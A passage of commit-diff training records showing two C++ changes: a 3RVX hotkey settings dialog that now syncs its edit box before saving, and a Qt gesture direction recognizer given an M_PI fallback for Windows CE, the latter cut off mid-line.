{"text":"<commit_before>#include \"Hotkeys.h\"\n\n#include <CommCtrl.h>\n\n#include \"..\/3RVX\/HotkeyInfo.h\"\n#include \"..\/3RVX\/HotkeyManager.h\"\n#include \"..\/3RVX\/Logger.h\"\n#include \"..\/3RVX\/Settings.h\"\n#include \"..\/3RVX\/SkinInfo.h\"\n\n#include \"HotkeyPrompt.h\"\n#include \"KeyGrabber.h\"\n#include \"resource.h\"\n\nvoid Hotkeys::Initialize() {\n    using std::placeholders::_1;\n\n    INIT_CONTROL(LST_KEYS, ListView, _keyList);\n    _keyList.OnItemChange = std::bind(&Hotkeys::OnKeyListItemChange, this, _1);\n    INIT_CONTROL(BTN_ADD, Button, _add);\n    _add.OnClick = std::bind(&Hotkeys::OnAddButtonClick, this);\n    INIT_CONTROL(BTN_REMOVE, Button, _remove);\n    _remove.OnClick = std::bind(&Hotkeys::OnRemoveButtonClick, this);\n\n    INIT_CONTROL(BTN_KEYS, Button, _keys);\n    _keys.OnClick = std::bind(&Hotkeys::OnKeysButtonClick, this);\n\n    INIT_CONTROL(CMB_ACTION, ComboBox, _action);\n    _action.OnSelectionChange = std::bind(&Hotkeys::OnActionChange, this);\n\n    INIT_CONTROL(LBL_ARG, Label, _argLabel);\n    INIT_CONTROL(CHK_ARG, Checkbox, _argCheck);\n    _argCheck.OnClick = std::bind(&Hotkeys::OnArgCheckChange, this);\n    INIT_CONTROL(CMB_ARG, ComboBox, _argCombo);\n    _argCombo.OnSelectionChange = std::bind(&Hotkeys::OnArgComboChange, this);\n    INIT_CONTROL(ED_ARG, EditBox, _argEdit);\n}\n\nvoid Hotkeys::LoadSettings() {\n    Settings *settings = Settings::Instance();\n\n    \/* Make highlighted items span the entire row in the list view *\/\n    _keyList.AddListExStyle(LVS_EX_FULLROWSELECT);\n\n    RECT dims = _keyList.ScreenDimensions();\n    int width = dims.right - dims.left;\n\n    _keyList.AddColumn(hotkeysColumnStr, (int) (width * .485));\n    _keyList.AddColumn(actionColumnStr, (int) (width * .445));\n\n    for (std::wstring action : HotkeyInfo::ActionNames) {\n        _action.AddItem(action);\n    }\n\n    std::unordered_map<int, HotkeyInfo> hotkeys = settings->Hotkeys();\n    for (auto it = hotkeys.begin(); it != hotkeys.end(); ++it) {\n        _keyInfo.push_back(it->second);\n    }\n\n    for (unsigned int i = 0; i < _keyInfo.size(); ++i) {\n        HotkeyInfo hki = _keyInfo[i];\n        std::wstring hkStr = HotkeyManager::HotkeysToString(hki.keyCombination);\n        int idx = _keyList.AddItem(hkStr);\n        _keyList.ItemText(idx, 1, HotkeyInfo::ActionNames[hki.action]);\n    }\n\n    _keyList.Selection(0);\n    LoadSelection();\n}\n\nvoid Hotkeys::SaveSettings() {\n    if (_hWnd == NULL) {\n        return;\n    }\n\n    CLOG(L\"Saving: Hotkeys\");\n    Settings *settings = Settings::Instance();\n    settings->Hotkeys(_keyInfo);\n}\n\nvoid Hotkeys::LoadSelection() {\n    int idx = _keyList.Selection();\n    if (idx < 0) {\n        _keys.Disable();\n        _action.Disable();\n        return;\n    }\n    LoadSelection(idx);\n}\n\nvoid Hotkeys::LoadSelection(int index) {\n    HotkeyInfo selection = _keyInfo[index];\n    _keys.Enable();\n    _action.Enable();\n\n    _keys.Text(L\"\");\n    if (selection.keyCombination > 0) {\n        std::wstring keyStr\n            = HotkeyManager::HotkeysToString(selection.keyCombination);\n        _keys.Text(keyStr);\n        _keyList.ItemText(index, 0, keyStr);\n    }\n\n    _action.Select(-1);\n    int action = selection.action;\n    if (action >= 0) {\n        _keyList.ItemText(index, 1, HotkeyInfo::ActionNames[action]);\n        LoadActionParameters(action, selection);\n        _action.Select(action);\n    }\n}\n\nvoid Hotkeys::LoadActionParameters(int action, HotkeyInfo &selection) {\n    bool showLabel = false;\n    bool showCheck = false;\n    bool showCombo = false;\n    bool showEdit = false;\n\n    \/* Clean things up *\/\n    _argLabel.Text(L\"\");\n    _argCheck.Text(L\"\");\n    _argCheck.Checked(false);\n    _argCombo.Clear();\n    _argEdit.Clear();\n\n    switch ((HotkeyInfo::HotkeyActions) action) {\n    case HotkeyInfo::IncreaseVolume:\n    case HotkeyInfo::DecreaseVolume:\n        _argCheck.Text(L\"Amount:\");\n        _argEdit.PlaceRightOf(_argCheck);\n        _argEdit.X(_action.X());\n        _argCombo.AddItem(L\"Volume Units\");\n        _argCombo.AddItem(L\"Percent\");\n        _argCombo.PlaceRightOf(_argEdit);\n\n        showCheck = true;\n        showCombo = true;\n        showEdit = true;\n        OnArgCheckChange();\n        break;\n\n    case HotkeyInfo::EjectDrive:\n        _argLabel.Text(L\"Drive:\");\n        for (int i = 0; i < 26; ++i) {\n            wchar_t ch = (wchar_t) i + 65;\n            _argCombo.AddItem(std::wstring(1, ch));\n        }\n\n        if (selection.HasArgs()) {\n            _argCombo.Select(selection.args[0]);\n        }\n\n        showLabel = true;\n        showCombo = true;\n        break;\n\n    case HotkeyInfo::MediaKey:\n        _argLabel.Text(L\"Key:\");\n        for (std::wstring keys : HotkeyInfo::MediaKeyNames) {\n            _argCombo.AddItem(keys);\n        }\n        if (selection.HasArgs()) {\n            _argCombo.Select(selection.args[0]);\n        }\n\n        showLabel = true;\n        showCombo = true;\n        break;\n    }\n\n    _argLabel.Visible(showLabel);\n    _argCheck.Visible(showCheck);\n    _argCombo.Visible(showCombo);\n    _argEdit.Visible(showEdit);\n}\n\nbool Hotkeys::OnAddButtonClick() {\n    int items = _keyList.Count();\n    for (int i = 0; i < items; ++i) {\n        if (_keyList.ItemText(i, 0) == L\"\" && _keyList.ItemText(i, 1) == L\"\") {\n            \/* We found a blank item already in the list *\/\n            _keyList.Selection(i);\n            return true;\n        }\n    }\n\n    HotkeyInfo hi;\n    _keyInfo.push_back(hi);\n    int idx = _keyList.InsertItem(items, L\"\");\n    _keyList.ItemText(idx, 1, L\"\");\n    _keyList.Selection(idx);\n    return true;\n}\n\nbool Hotkeys::OnRemoveButtonClick() {\n    int sel = _keyList.Selection();\n    if (sel < 0) {\n        return false;\n    }\n\n    _keyInfo.erase(_keyInfo.begin() + sel);\n    _keyList.RemoveItem(sel);\n\n    \/* Select the item closest to the previous selection: *\/\n    _keyList.Selection(sel);\n\n    \/* This handles disabling the other controls if the last item was removed:*\/\n    if (_keyList.Count() <= 0) {\n        LoadSelection();\n    }\n\n    return true;\n}\n\nbool Hotkeys::OnActionChange() {\n    int actionIdx = _action.SelectionIndex();\n    int selectionIdx = _keyList.Selection();\n    HotkeyInfo &currentListSelection = _keyInfo[selectionIdx];\n    currentListSelection.action = (HotkeyInfo::HotkeyActions) actionIdx;\n    LoadSelection(selectionIdx);\n    return true;\n}\n\nbool Hotkeys::OnKeysButtonClick() {\n    HotkeyPrompt::Show(_hWnd);\n    KeyGrabber::Instance()->Unhook();\n    int keyCombo = KeyGrabber::Instance()->KeyCombination();\n    if (keyCombo > 0) {\n        std::wstring keyStr = HotkeyManager::HotkeysToString(keyCombo);\n        _keys.Text(keyStr);\n        int sel = _keyList.Selection();\n        _keyInfo[sel].keyCombination = keyCombo;\n        LoadSelection(sel);\n    }\n    return true;\n}\n\nvoid Hotkeys::OnKeyListItemChange(NMLISTVIEW *lv) {\n    if (lv->uChanged & LVIF_STATE) {\n        if (lv->uNewState & LVIS_SELECTED) {\n            OnKeyListSelectionChange(lv->iItem);\n        }\n    }\n}\n\nvoid Hotkeys::OnKeyListSelectionChange(int index) {\n    HotkeyInfo current = _keyInfo[index];\n    CLOG(L\"Selecting key combination %d:\", index);\n    QCLOG(L\"%s\", current.ToString().c_str());\n    LoadSelection(index);\n}\n\nbool Hotkeys::OnArgComboChange() {\n    int selectionIdx = _keyList.Selection();\n    HotkeyInfo *current = &_keyInfo[selectionIdx];\n\n    HotkeyInfo::HotkeyActions action\n        = (HotkeyInfo::HotkeyActions) _action.SelectionIndex();\n\n    switch (action) {\n    case HotkeyInfo::EjectDrive:\n    case HotkeyInfo::MediaKey:\n        current->AllocateArg(0);\n        current->args[0] = _argCombo.Selection();\n        break;\n    }\n\n    LoadSelection(selectionIdx);\n    return true;\n}\n\nbool Hotkeys::OnArgCheckChange() {\n    int selectionIdx = _keyList.Selection();\n    if (selectionIdx == -1) {\n        return false;\n    }\n\n    HotkeyInfo *current = &_keyInfo[selectionIdx];\n\n    HotkeyInfo::HotkeyActions action\n        = (HotkeyInfo::HotkeyActions) _action.SelectionIndex();\n\n    switch (action) {\n    case HotkeyInfo::IncreaseVolume:\n    case HotkeyInfo::DecreaseVolume:\n        if (_argCheck.Checked() == false) {\n            _argEdit.Clear();\n            current->args.clear();\n        }\n        break;\n    }\n\n    _argCombo.Enabled(_argCheck.Checked());\n    _argEdit.Enabled(_argCheck.Checked());\n    return true;\n}\n\nvoid Hotkeys::UpdateEditArgument() {\n    HotkeyInfo *current = &_keyInfo[_listSelection];\n\n    HotkeyInfo::HotkeyActions action\n        = (HotkeyInfo::HotkeyActions) _action.SelectionIndex();\n\n    switch (action) {\n    case HotkeyInfo::IncreaseVolume:\n    case HotkeyInfo::DecreaseVolume:\n    case HotkeyInfo::SetVolume:\n        if (_argEdit.Text() != L\"\") {\n            current->AllocateArg(0);\n            current->args[0] = _argEdit.Text();\n        }\n\n        break;\n    }\n}\n\nvoid Hotkeys::DefaultArgControlStates() {\n    _argLabel.Visible(false);\n    _argCheck.Visible(false);\n    _argCombo.Visible(false);\n    _argEdit.Visible(false);\n    _argLabel.Text(L\"\");\n    _argCheck.Text(L\"\");\n    _argCheck.Checked(false);\n    _argCombo.Clear();\n    _argCombo.Width(_action.Width());\n    _argCombo.PlaceRightOf(_argLabel);\n    _argCombo.X(_action.X());\n    _argEdit.Clear();\n    _argEdit.Width(_action.Width());\n    _argEdit.PlaceRightOf(_argLabel);\n    _argEdit.X(_action.X());\n}\n\nvoid Hotkeys::VolumeArgControlStates(HotkeyInfo &selection) {\n    _argCheck.Text(amountVolArgStr);\n    _argCheck.Checked(selection.HasArgs());\n    _argEdit.Enabled(_argCheck.Checked());\n    _argEdit.Width(_argEdit.EmSize() * 6);\n    _argEdit.PlaceRightOf(_argCheck);\n    _argEdit.X(_action.X());\n    _argCombo.Enabled(_argCheck.Checked());\n    _argCombo.AddItem(unitsVolArgStr);\n    _argCombo.AddItem(percentVolArgStr);\n    _argCombo.Select(0);\n    _argCombo.PlaceRightOf(_argEdit);\n    _argCombo.Width(_action.Width() - (_argCombo.X() - _action.X()));\n\n    if (selection.HasArg(0)) {\n        _argEdit.Text(selection.args[0]);\n    }\n    if (selection.HasArg(1)) {\n        _argCombo.Select(selection.ArgToInt(1));\n    }\n}\n<commit_msg>Sync edit box before save<commit_after>#include \"Hotkeys.h\"\n\n#include <CommCtrl.h>\n\n#include \"..\/3RVX\/HotkeyInfo.h\"\n#include \"..\/3RVX\/HotkeyManager.h\"\n#include \"..\/3RVX\/Logger.h\"\n#include \"..\/3RVX\/Settings.h\"\n#include \"..\/3RVX\/SkinInfo.h\"\n\n#include \"HotkeyPrompt.h\"\n#include \"KeyGrabber.h\"\n#include \"resource.h\"\n\nvoid Hotkeys::Initialize() {\n    using std::placeholders::_1;\n\n    INIT_CONTROL(LST_KEYS, ListView, _keyList);\n    _keyList.OnItemChange = std::bind(&Hotkeys::OnKeyListItemChange, this, _1);\n    INIT_CONTROL(BTN_ADD, Button, _add);\n    _add.OnClick = std::bind(&Hotkeys::OnAddButtonClick, this);\n    INIT_CONTROL(BTN_REMOVE, Button, _remove);\n    _remove.OnClick = std::bind(&Hotkeys::OnRemoveButtonClick, this);\n\n    INIT_CONTROL(BTN_KEYS, Button, _keys);\n    _keys.OnClick = std::bind(&Hotkeys::OnKeysButtonClick, this);\n\n    INIT_CONTROL(CMB_ACTION, ComboBox, _action);\n    _action.OnSelectionChange = std::bind(&Hotkeys::OnActionChange, this);\n\n    INIT_CONTROL(LBL_ARG, Label, _argLabel);\n    INIT_CONTROL(CHK_ARG, Checkbox, _argCheck);\n    _argCheck.OnClick = std::bind(&Hotkeys::OnArgCheckChange, this);\n    INIT_CONTROL(CMB_ARG, ComboBox, _argCombo);\n    _argCombo.OnSelectionChange = std::bind(&Hotkeys::OnArgComboChange, this);\n    INIT_CONTROL(ED_ARG, EditBox, _argEdit);\n}\n\nvoid Hotkeys::LoadSettings() {\n    Settings *settings = Settings::Instance();\n\n    \/* Make highlighted items span the entire row in the list view *\/\n    _keyList.AddListExStyle(LVS_EX_FULLROWSELECT);\n\n    RECT dims = _keyList.ScreenDimensions();\n    int width = dims.right - dims.left;\n\n    _keyList.AddColumn(hotkeysColumnStr, (int) (width * .485));\n    _keyList.AddColumn(actionColumnStr, (int) (width * .445));\n\n    for (std::wstring action : HotkeyInfo::ActionNames) {\n        _action.AddItem(action);\n    }\n\n    std::unordered_map<int, HotkeyInfo> hotkeys = settings->Hotkeys();\n    for (auto it = hotkeys.begin(); it != hotkeys.end(); ++it) {\n        _keyInfo.push_back(it->second);\n    }\n\n    for (unsigned int i = 0; i < _keyInfo.size(); ++i) {\n        HotkeyInfo hki = _keyInfo[i];\n        std::wstring hkStr = HotkeyManager::HotkeysToString(hki.keyCombination);\n        int idx = _keyList.AddItem(hkStr);\n        _keyList.ItemText(idx, 1, HotkeyInfo::ActionNames[hki.action]);\n    }\n\n    _keyList.Selection(0);\n    LoadSelection();\n}\n\nvoid Hotkeys::SaveSettings() {\n    if (_hWnd == NULL) {\n        return;\n    }\n\n    \/* If the edit box was the last thing the user touched, then we need to\n     * manually sync the changes here. *\/\n    UpdateEditArgument();\n\n    CLOG(L\"Saving: Hotkeys\");\n    Settings *settings = Settings::Instance();\n    settings->Hotkeys(_keyInfo);\n}\n\nvoid Hotkeys::LoadSelection() {\n    int idx = _keyList.Selection();\n    if (idx < 0) {\n        _keys.Disable();\n        _action.Disable();\n        return;\n    }\n    LoadSelection(idx);\n}\n\nvoid Hotkeys::LoadSelection(int index) {\n    HotkeyInfo selection = _keyInfo[index];\n    _keys.Enable();\n    _action.Enable();\n\n    _keys.Text(L\"\");\n    if (selection.keyCombination > 0) {\n        std::wstring keyStr\n            = HotkeyManager::HotkeysToString(selection.keyCombination);\n        _keys.Text(keyStr);\n        _keyList.ItemText(index, 0, keyStr);\n    }\n\n    _action.Select(-1);\n    int action = selection.action;\n    if (action >= 0) {\n        _keyList.ItemText(index, 1, HotkeyInfo::ActionNames[action]);\n        LoadActionParameters(action, selection);\n        _action.Select(action);\n    }\n}\n\nvoid Hotkeys::LoadActionParameters(int action, HotkeyInfo &selection) {\n    bool showLabel = false;\n    bool showCheck = false;\n    bool showCombo = false;\n    bool showEdit = false;\n\n    \/* Clean things up *\/\n    _argLabel.Text(L\"\");\n    _argCheck.Text(L\"\");\n    _argCheck.Checked(false);\n    _argCombo.Clear();\n    _argEdit.Clear();\n\n    switch ((HotkeyInfo::HotkeyActions) action) {\n    case HotkeyInfo::IncreaseVolume:\n    case HotkeyInfo::DecreaseVolume:\n        _argCheck.Text(L\"Amount:\");\n        _argEdit.PlaceRightOf(_argCheck);\n        _argEdit.X(_action.X());\n        _argCombo.AddItem(L\"Volume Units\");\n        _argCombo.AddItem(L\"Percent\");\n        _argCombo.PlaceRightOf(_argEdit);\n\n        showCheck = true;\n        showCombo = true;\n        showEdit = true;\n        OnArgCheckChange();\n        break;\n\n    case HotkeyInfo::EjectDrive:\n        _argLabel.Text(L\"Drive:\");\n        for (int i = 0; i < 26; ++i) {\n            wchar_t ch = (wchar_t) i + 65;\n            _argCombo.AddItem(std::wstring(1, ch));\n        }\n\n        if (selection.HasArgs()) {\n            _argCombo.Select(selection.args[0]);\n        }\n\n        showLabel = true;\n        showCombo = true;\n        break;\n\n    case HotkeyInfo::MediaKey:\n        _argLabel.Text(L\"Key:\");\n        for (std::wstring keys : HotkeyInfo::MediaKeyNames) {\n            _argCombo.AddItem(keys);\n        }\n        if (selection.HasArgs()) {\n            _argCombo.Select(selection.args[0]);\n        }\n\n        showLabel = true;\n        showCombo = true;\n        break;\n    }\n\n    _argLabel.Visible(showLabel);\n    _argCheck.Visible(showCheck);\n    _argCombo.Visible(showCombo);\n    _argEdit.Visible(showEdit);\n}\n\nbool Hotkeys::OnAddButtonClick() {\n    int items = _keyList.Count();\n    for (int i = 0; i < items; ++i) {\n        if (_keyList.ItemText(i, 0) == L\"\" && _keyList.ItemText(i, 1) == L\"\") {\n            \/* We found a blank item already in the list *\/\n            _keyList.Selection(i);\n            return true;\n        }\n    }\n\n    HotkeyInfo hi;\n    _keyInfo.push_back(hi);\n    int idx = _keyList.InsertItem(items, L\"\");\n    _keyList.ItemText(idx, 1, L\"\");\n    _keyList.Selection(idx);\n    return true;\n}\n\nbool Hotkeys::OnRemoveButtonClick() {\n    int sel = _keyList.Selection();\n    if (sel < 0) {\n        return false;\n    }\n\n    _keyInfo.erase(_keyInfo.begin() + sel);\n    _keyList.RemoveItem(sel);\n\n    \/* Select the item closest to the previous selection: *\/\n    _keyList.Selection(sel);\n\n    \/* This handles disabling the other controls if the last item was removed:*\/\n    if (_keyList.Count() <= 0) {\n        LoadSelection();\n    }\n\n    return true;\n}\n\nbool Hotkeys::OnActionChange() {\n    int actionIdx = _action.SelectionIndex();\n    int selectionIdx = _keyList.Selection();\n    HotkeyInfo &currentListSelection = _keyInfo[selectionIdx];\n    currentListSelection.action = (HotkeyInfo::HotkeyActions) actionIdx;\n    LoadSelection(selectionIdx);\n    return true;\n}\n\nbool Hotkeys::OnKeysButtonClick() {\n    HotkeyPrompt::Show(_hWnd);\n    KeyGrabber::Instance()->Unhook();\n    int keyCombo = KeyGrabber::Instance()->KeyCombination();\n    if (keyCombo > 0) {\n        std::wstring keyStr = HotkeyManager::HotkeysToString(keyCombo);\n        _keys.Text(keyStr);\n        int sel = _keyList.Selection();\n        _keyInfo[sel].keyCombination = keyCombo;\n        LoadSelection(sel);\n    }\n    return true;\n}\n\nvoid Hotkeys::OnKeyListItemChange(NMLISTVIEW *lv) {\n    if (lv->uChanged & LVIF_STATE) {\n        if (lv->uNewState & LVIS_SELECTED) {\n            OnKeyListSelectionChange(lv->iItem);\n        }\n    }\n}\n\nvoid Hotkeys::OnKeyListSelectionChange(int index) {\n    HotkeyInfo current = _keyInfo[index];\n    CLOG(L\"Selecting key combination %d:\", index);\n    QCLOG(L\"%s\", current.ToString().c_str());\n    LoadSelection(index);\n}\n\nbool Hotkeys::OnArgComboChange() {\n    int selectionIdx = _keyList.Selection();\n    HotkeyInfo *current = &_keyInfo[selectionIdx];\n\n    HotkeyInfo::HotkeyActions action\n        = (HotkeyInfo::HotkeyActions) _action.SelectionIndex();\n\n    switch (action) {\n    case HotkeyInfo::EjectDrive:\n    case HotkeyInfo::MediaKey:\n        current->AllocateArg(0);\n        current->args[0] = _argCombo.Selection();\n        break;\n    }\n\n    LoadSelection(selectionIdx);\n    return true;\n}\n\nbool Hotkeys::OnArgCheckChange() {\n    int selectionIdx = _keyList.Selection();\n    if (selectionIdx == -1) {\n        return false;\n    }\n\n    HotkeyInfo *current = &_keyInfo[selectionIdx];\n\n    HotkeyInfo::HotkeyActions action\n        = (HotkeyInfo::HotkeyActions) _action.SelectionIndex();\n\n    switch (action) {\n    case HotkeyInfo::IncreaseVolume:\n    case HotkeyInfo::DecreaseVolume:\n        if (_argCheck.Checked() == false) {\n            _argEdit.Clear();\n            current->args.clear();\n        }\n        break;\n    }\n\n    _argCombo.Enabled(_argCheck.Checked());\n    _argEdit.Enabled(_argCheck.Checked());\n    return true;\n}\n\nvoid Hotkeys::UpdateEditArgument() {\n    HotkeyInfo *current = &_keyInfo[_listSelection];\n\n    HotkeyInfo::HotkeyActions action\n        = (HotkeyInfo::HotkeyActions) _action.SelectionIndex();\n\n    switch (action) {\n    case HotkeyInfo::IncreaseVolume:\n    case HotkeyInfo::DecreaseVolume:\n    case HotkeyInfo::SetVolume:\n        if (_argEdit.Text() != L\"\") {\n            current->AllocateArg(0);\n            current->args[0] = _argEdit.Text();\n        }\n\n        break;\n    }\n}\n\nvoid Hotkeys::DefaultArgControlStates() {\n    _argLabel.Visible(false);\n    _argCheck.Visible(false);\n    _argCombo.Visible(false);\n    _argEdit.Visible(false);\n    _argLabel.Text(L\"\");\n    _argCheck.Text(L\"\");\n    _argCheck.Checked(false);\n    _argCombo.Clear();\n    _argCombo.Width(_action.Width());\n    _argCombo.PlaceRightOf(_argLabel);\n    _argCombo.X(_action.X());\n    _argEdit.Clear();\n    _argEdit.Width(_action.Width());\n    _argEdit.PlaceRightOf(_argLabel);\n    _argEdit.X(_action.X());\n}\n\nvoid Hotkeys::VolumeArgControlStates(HotkeyInfo &selection) {\n    _argCheck.Text(amountVolArgStr);\n    _argCheck.Checked(selection.HasArgs());\n    _argEdit.Enabled(_argCheck.Checked());\n    _argEdit.Width(_argEdit.EmSize() * 6);\n    _argEdit.PlaceRightOf(_argCheck);\n    _argEdit.X(_action.X());\n    _argCombo.Enabled(_argCheck.Checked());\n    _argCombo.AddItem(unitsVolArgStr);\n    _argCombo.AddItem(percentVolArgStr);\n    _argCombo.Select(0);\n    _argCombo.PlaceRightOf(_argEdit);\n    _argCombo.Width(_action.Width() - (_argCombo.X() - _action.X()));\n\n    if (selection.HasArg(0)) {\n        _argEdit.Text(selection.args[0]);\n    }\n    if (selection.HasArg(1)) {\n        _argCombo.Select(selection.ArgToInt(1));\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the QtGui module of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the either Technology Preview License Agreement or the\n** Beta Release License Agreement.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain\n** additional rights. These rights are described in the Nokia Qt LGPL\n** Exception version 1.0, included in the file LGPL_EXCEPTION.txt in this\n** package.\n**\n** GNU General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU\n** General Public License version 3.0 as published by the Free Software\n** Foundation and appearing in the file LICENSE.GPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU General Public License version 3.0 requirements will be\n** met: http:\/\/www.gnu.org\/copyleft\/gpl.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at http:\/\/www.qtsoftware.com\/contact.\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"qdirectionrecognizer_p.h\"\n\n#include <math.h>\n\nQT_BEGIN_NAMESPACE\n\nenum {\n    DistanceDelta = 20\n};\n\nQDirectionSimpleRecognizer::QDirectionSimpleRecognizer()\n{\n}\n\nDirection QDirectionSimpleRecognizer::addPosition(const QPoint &pos)\n{\n    if (!directions.isEmpty()) {\n        const QPoint tmp = pos - directions.back().point;\n        if (tmp.manhattanLength() < 5)\n            return Direction();\n    }\n    if (lastPoint.isNull()) {\n        lastPoint = pos;\n        return Direction();\n    }\n    int dx = pos.x() - lastPoint.x();\n    int dy = pos.y() - lastPoint.y();\n    Qt::DirectionType direction = Qt::NoDirection;\n    if (dx < 0) {\n        if (-1*dx >= DistanceDelta\/2)\n            direction = Qt::LeftDirection;\n    } else {\n        if (dx >= DistanceDelta\/2)\n            direction = Qt::RightDirection;\n    }\n    if (dy < 0) {\n        if (-1*dy >= DistanceDelta\/2)\n            direction = Qt::UpDirection;\n    } else {\n        if (dy >= DistanceDelta\/2)\n            direction = Qt::DownDirection;\n    }\n    if (direction == Qt::NoDirection)\n        return Direction();\n\n    lastPoint = pos;\n    directions.push_back(Direction(direction, pos));\n    return Direction(direction, pos);\n}\n\n\nDirectionList QDirectionSimpleRecognizer::getDirections() const\n{\n    return directions;\n}\n\nvoid QDirectionSimpleRecognizer::reset()\n{\n    directions.clear();\n    lastPoint = QPoint();\n}\n\n\n\/\/\/ QDirectionDiagonalRecognizer\n\nQDirectionDiagonalRecognizer::QDirectionDiagonalRecognizer()\n{\n}\n\nDirection QDirectionDiagonalRecognizer::addPosition(const QPoint &pos)\n{\n    if (!directions.isEmpty()) {\n        const QPoint tmp = pos - directions.back().point;\n        if (tmp.manhattanLength() < 5)\n            return Direction();\n    }\n    if (lastPoint.isNull()) {\n        lastPoint = pos;\n        return Direction();\n    }\n    int dx = pos.x() - lastPoint.x();\n    int dy = pos.y() - lastPoint.y();\n    int distance = sqrt(static_cast<double>(dx*dx + dy*dy));\n    if (distance < DistanceDelta\/2)\n        return Direction();\n\n    Qt::DirectionType direction = Qt::NoDirection;\n    double angle = atan(1.0*qAbs(lastPoint.y() - pos.y())\/qAbs(pos.x() - lastPoint.x())) * 180. \/ M_PI;\n    if (dx < 0 && dy <= 0) {\n        angle = 180 - angle;\n    } else if (dx <= 0 && dy > 0) {\n        angle += 180;\n    } else if (dx > 0 && dy > 0) {\n        angle = 360-angle;\n    }\n    if (angle < 0)\n        angle += 360;\n    if (angle <= 20)\n        direction = Qt::RightDirection;\n    else if (angle <= 65)\n        direction = Qt::RightUpDirection;\n    else if (angle <= 110)\n        direction = Qt::UpDirection;\n    else if (angle <= 155)\n        direction = Qt::LeftUpDirection;\n    else if (angle <= 200)\n        direction = Qt::LeftDirection;\n    else if (angle <= 245)\n        direction = Qt::LeftDownDirection;\n    else if (angle <= 290)\n        direction = Qt::DownDirection;\n    else if (angle <= 335)\n        direction = Qt::RightDownDirection;\n    else\n        direction = Qt::RightDirection;\n\n    if (direction == Qt::NoDirection)\n        return Direction();\n\n    lastPoint = pos;\n    directions.push_back(Direction(direction, pos));\n    return Direction(direction, pos);\n}\n\n\nDirectionList QDirectionDiagonalRecognizer::getDirections() const\n{\n    return directions;\n}\n\nvoid QDirectionDiagonalRecognizer::reset()\n{\n    directions.clear();\n    lastPoint = QPoint();\n}\n\nQT_END_NAMESPACE\n<commit_msg>Fixed compile with Windows CE 5.<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the QtGui module of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the either Technology Preview License Agreement or the\n** Beta Release License Agreement.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain\n** additional rights. These rights are described in the Nokia Qt LGPL\n** Exception version 1.0, included in the file LGPL_EXCEPTION.txt in this\n** package.\n**\n** GNU General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU\n** General Public License version 3.0 as published by the Free Software\n** Foundation and appearing in the file LICENSE.GPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU General Public License version 3.0 requirements will be\n** met: http:\/\/www.gnu.org\/copyleft\/gpl.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at http:\/\/www.qtsoftware.com\/contact.\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"qdirectionrecognizer_p.h\"\n\n#include <math.h>\n\n#ifndef M_PI\n#define M_PI 3.141592653589793238462643\n#endif\n\nQT_BEGIN_NAMESPACE\n\nenum {\n    DistanceDelta = 20\n};\n\nQDirectionSimpleRecognizer::QDirectionSimpleRecognizer()\n{\n}\n\nDirection QDirectionSimpleRecognizer::addPosition(const QPoint &pos)\n{\n    if (!directions.isEmpty()) {\n        const QPoint tmp = pos - directions.back().point;\n        if (tmp.manhattanLength() < 5)\n            return Direction();\n    }\n    if (lastPoint.isNull()) {\n        lastPoint = pos;\n        return Direction();\n    }\n    int dx = pos.x() - lastPoint.x();\n    int dy = pos.y() - lastPoint.y();\n    Qt::DirectionType direction = Qt::NoDirection;\n    if (dx < 0) {\n        if (-1*dx >= DistanceDelta\/2)\n            direction = Qt::LeftDirection;\n    } else {\n        if (dx >= DistanceDelta\/2)\n            direction = Qt::RightDirection;\n    }\n    if (dy < 0) {\n        if (-1*dy >= DistanceDelta\/2)\n            direction = Qt::UpDirection;\n    } else {\n        if (dy >= DistanceDelta\/2)\n            direction = Qt::DownDirection;\n    }\n    if (direction == Qt::NoDirection)\n        return Direction();\n\n    lastPoint = pos;\n    directions.push_back(Direction(direction, pos));\n    return Direction(direction, pos);\n}\n\n\nDirectionList QDirectionSimpleRecognizer::getDirections() const\n{\n    return directions;\n}\n\nvoid QDirectionSimpleRecognizer::reset()\n{\n    directions.clear();\n    lastPoint = QPoint();\n}\n\n\n\/\/\/ QDirectionDiagonalRecognizer\n\nQDirectionDiagonalRecognizer::QDirectionDiagonalRecognizer()\n{\n}\n\nDirection QDirectionDiagonalRecognizer::addPosition(const QPoint &pos)\n{\n    if (!directions.isEmpty()) {\n        const QPoint tmp = pos - directions.back().point;\n        if (tmp.manhattanLength() < 5)\n            return Direction();\n    }\n    if (lastPoint.isNull()) {\n        lastPoint = pos;\n        return Direction();\n    }\n    int dx = pos.x() - lastPoint.x();\n    int dy = pos.y() - lastPoint.y();\n    int distance = 